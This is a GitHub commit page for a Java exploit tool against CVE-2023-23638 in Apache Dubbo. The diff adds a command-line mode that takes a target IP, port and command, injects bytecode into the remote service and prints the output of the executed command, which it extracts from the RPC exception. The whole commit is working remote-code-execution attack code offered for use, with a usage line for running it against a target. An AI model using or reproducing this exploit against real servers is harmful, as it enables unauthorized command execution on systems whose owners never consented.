Skip to content

Commit

Permalink
新增命令行使用
Browse files Browse the repository at this point in the history
  • Loading branch information
yyyyhyh committed Jun 2, 2023
1 parent ce5449e commit dc9324e
Show file tree
Hide file tree
Showing 2 changed files with 27 additions and 8 deletions.
7 changes: 5 additions & 2 deletions src/main/java/exploit/executeCmd.java
Original file line number Diff line number Diff line change
Expand Up @@ -37,14 +37,17 @@ public static void exec(String cmd, JTextArea jTextArea,String charset,String ur
new String[]{"java.lang.String"},
new Object[]{map});
}catch (org.apache.dubbo.rpc.RpcException e){
System.out.println(e);
String regex = "(?s)"+CMD_SPLIT+"(.*?)"+ CMD_SPLIT;
Pattern pattern = Pattern.compile(regex);

Matcher matcher = pattern.matcher(e.toString());
if (matcher.find()) {
String result = matcher.group(1);
jTextArea.setText(result);
if (jTextArea != null) {
jTextArea.setText(result);
}else{
System.out.println("执行命令结果:\n"+result);
}
}


Expand Down
28 changes: 22 additions & 6 deletions src/main/java/gui/MainFrame.java
Original file line number Diff line number Diff line change
Expand Up @@ -87,12 +87,28 @@ public void actionPerformed(ActionEvent e) {
}

public static void main(String[] args) {
Font f = new Font("Arial",Font.PLAIN,18);
String names[]={ "Label","TextField","TabbedPane","TextArea"};
for (String item : names) {
UIManager.put(item+ ".font",f);
if (args.length == 0) {
Font f = new Font("Arial", Font.PLAIN, 18);
String names[] = {"Label", "TextField", "TabbedPane", "TextArea"};
for (String item : names) {
UIManager.put(item + ".font", f);
}
UIManager.put("TextArea.font", new Font(null, Font.PLAIN, 18));// 避免中文乱码
new MainFrame();
}else {
if (args[0].equals("-h")){
System.out.println("java -jar CVE-2023-23638.jar TARGET_IP TARGET_PORT COMMAND CHARSET(default UTF-8)");
} else if (args.length > 2) {
String charset = "utf-8";
insertCode insertCode = new insertCode(args[0], Integer.parseInt(args[1]),null);
insertCode.run();
System.out.println("加载字节码成功");
if (args.length == 4 && !args[3].equals("utf-8")){
charset = args[3];
}
executeCmd.exec(args[2],null,charset,insertCode.getFullUrl());

}
}
UIManager.put("TextArea.font",new Font(null,Font.PLAIN,18));// 避免中文乱码
new MainFrame();
}
}

0 comments on commit dc9324e

Please sign in to comment.